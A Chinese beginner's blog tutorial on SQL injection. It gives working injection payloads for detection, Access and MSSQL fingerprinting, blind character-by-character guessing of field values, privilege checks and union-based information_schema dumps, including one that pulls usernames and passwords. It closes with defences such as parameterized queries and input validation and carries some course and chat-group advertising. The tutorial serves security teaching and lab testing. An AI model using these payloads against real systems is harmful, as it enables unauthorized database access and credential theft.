一文带你深入了解安全测试基础之SQL注入详解【建议新手收藏】

一、什么是SQL注入

SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

www.xx.com/news.php?id=1
 www.xx.com/news.php?id=1 and 1=1

这里我们来理解一下SQL注入

首先,SQL注入常年蝉联OWASP排行榜第一名
在这里插入图片描述
SQL注入产生的过程是怎样的呢?见下图
在这里插入图片描述
SQL注入的危害有哪些?
  数据库信息泄露
  网页篡改
  网站被挂马
  数据库被恶意操作
  服务器被远程控制
  破坏硬盘数据

二、 学习一下sql注入的方法

在这里插入图片描述

2.1取消友好HTTP错误消息

一般通过远程测试判断是否存在SQL注入,所以通常没有机会通过查看源代码来复查注入的查询结构。这导致经常需要通过推理来进行大量测试打开IE浏览器,选择菜单“工具”->“Internet选项”对话框。打开“高级”选项卡,在设置列表中找到“浏览”组,取消勾选”显示友好HTTP错误信息”复选框 。如下图
在这里插入图片描述

2.2寻找SQL注入

最常用的SQL注入判断方法,在网站中寻找如下形式的网页:http://192.168.1.3/webug/pentest/test/sqli/sqltamp.php?gid=1
在这里插入图片描述
提交单引号,页面返回错误
在这里插入图片描述
提交and 1=1 页面返回正常 ,提交and 1=2 页面返回错误

也许干巴巴的文字看起来有写枯燥,如果单看文字不是很容易消化的话,可以进群【1106675687】来跟大家一起交流学习,群里也有许多视频资料和技术大牛,配合文章一起理解应该会让你有不错的收获。

推荐一个不错的C/C++ 初学者课程地址,这个跟以往所见到的只会空谈理论的有所不同,这个课程是从六个可以写在简历上的企业级项目入手带领大家学习c/c++,正在学习的朋友可以了解一下。
在这里插入图片描述

2.3确认注入点

区分数字和字符串

  1. 数字型
SELECT *FROM user WHERE id=1
   SELECT * FROM user WHERE id > 1

2. 带引号类型的

SELECT * FROM user WHERE name = ‘admin’
   SELECT * FROM user WHERE date >2017-5-3

内联SQL注入:内联注入是指插入查询注入SQL代码后,原来的查询仍然会全部执行。终止式SQL注入:终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。例如在单引号后面再加上 %23 表示进行单引号闭合,此时页面又恢复正常

select * from XXX where id ='1"

select * from XXX where id = ' 1'%23  ' (蓝色部分为注入内容,红色部分为被注释掉)

在这里插入图片描述

三、识别数据库

在这里插入图片描述

3.1、数据库连接运算符

在这里插入图片描述

www.xx.com/news.php?uid=admin
www.xx.com/news.php?uid=ad’+’min
www.xx.com/news.php?uid=ad’’min
www.xx.com/news.php?uid=ad||min
3.2 Access数据库注入

利用内置数据库表获取数据库类型

and (select count(*) from sysobjects)>=0
  Sysobjects为Mssql数据库内置表
and (select count(*) from msysobjects)>=0
  Msysobjects为Access数据库内置表

Access手工注入猜解

  • 猜表名
 and exists(select * from 表名)
   and(select count(*) from 表名)>=0
  • 猜字段名
and exists(select 字段名 from 表名)
   and (select count(字段名) from 表名)>=0
  • 猜字段长度
 and (select top 1 len(字段名) from 表名)>1
   and (select top 1 len(字段名) from 表名)>2
   and (select top 1 len(字段名) from 表名)>n

猜字段值

and (select top 1 asc(mid (字段名,1,1)) from 表名)>0
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>1
  and (select top 1 asc(mid (字段名,1,1)) from 表名)>n
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>0
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>2
  and (select top 1 asc(mid (字段名,2,1)) from 表名)>n
  • Order by 猜字段数目
Order by 1
  Order by 2
  Order by n
  • Union select 获取段内容
Union select 1,字段名,2,,n from 表名
3.3 Mssql数据库注入

在进行MsSQL注入攻击时,首先要对MsSQL注入点进行一下基本的注入检查,以确定后面的攻击实施方案。

  • 注入点权限判断
 and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
   and 1=(select IS_SRVROLEMEMBER('db_owner')) //判断是否是库权限
   and 1=(select IS_SRVROLEMEMBER('public')) //判断是否为public权限
  • 返回信息判断
 and @@version>0 //数据库信息
   ;declare @d int //判断MsSQL支持多行语句查询
   and (select count(1) from [sysobjects])>=0 //是否支持子查询
   and user>0 //获取当前数据库用户名
   and 1=convert(int,db_name())1=(select db_name()) //当前数据库名
   and 1=(select @@servername) //本地服务名
   and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
  • 爆当前数据库名
and db_name()=0
and db_name(n)>0

在这里插入图片描述

  • 利用order by报错法继续进行攻击,爆表名、字段名、字段内容
order by 10 //返回错误
order by 5 //返回错误
order by 4 //返回正确

证明该注入点处查询字段数据为4。使用union select查询数据库的版本信息,以及连接的用户名和数据库
名等,提交如下链接:

union select 1,2,3,4

在这里插入图片描述
在这里插入图片描述
Information_schema结构
Information_schema结构包含数据库关键信息
“SCHEMATA”表,用于存储数据库名,其中的关键字段为
SCHEMA_NAME,表示数据库名称
“TABLES”表,用于存储表名。其中关键字段TABLE_SCHEMA表示表所属的数据库名称;关键字段
TABLE_NAME表示表的名称
”COLUMNS“表,用于存储字段名。其中的关键字段TABLE_SCHEMA表示表所属的数据库名称;字段
TABLE_NAME表示所属的表的名称;COLUMN_NAME表示字段名

爆出4张表
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database()
在这里插入图片描述
根据列名爆出所有关键用户字段的信息union select uname,pwd,3,4 from flag %23
在这里插入图片描述

四、注入工具介绍

在这里插入图片描述

五、防御sql注入

在这里插入图片描述
使用参数化查询

PHP包含很多用于访问数据库的框架。访问MySQL数据库的mysqli包,PEAR::MDB2包(它替代了流行的PEAR::DB包)以及新的PHP数据对象(PDO)框架,他们均为使用参数化语句提供便利。

输入验证

验证应用接收到的输入时一种可用的功能强大的控制手段(如果用的好的话)。

白名单(使用白名单应该开了下列要点):

  • 数据类型:字符、数字等;
  • 数据大小:字符串长度是否正确,数字的大小和精度是否正确。
  • 数据范围:如果 是数字型,是否位于该数据类型期望的数字范围。
  • 数据内容:数据是否属于期望的数据类型,如手机号码,它是否瞒住期望的值。

黑名单

  • 黑名单验证的常用方法也是使用正则表达式。

编码输入与使用存储过程防御

除了验证应用受到的输入以外,通常还需要对在应用的不同模块或部分传递的内容进行编码。

通常会被忽视的情况是对来自数据库的信息进行编码,尤其是当正在使用的数据库未经过严格验证或审查,或者来自第三方数据源时。

将应用设计成专门使用存储过程来访问数据库是一种可以放置或减轻SQL注入影响的技术。存储
过程是保存在数据库汇总的程序。根据数据库的不同,可以使用很多不同语言及其变体来编写存储过程

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

简说Linux内核

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值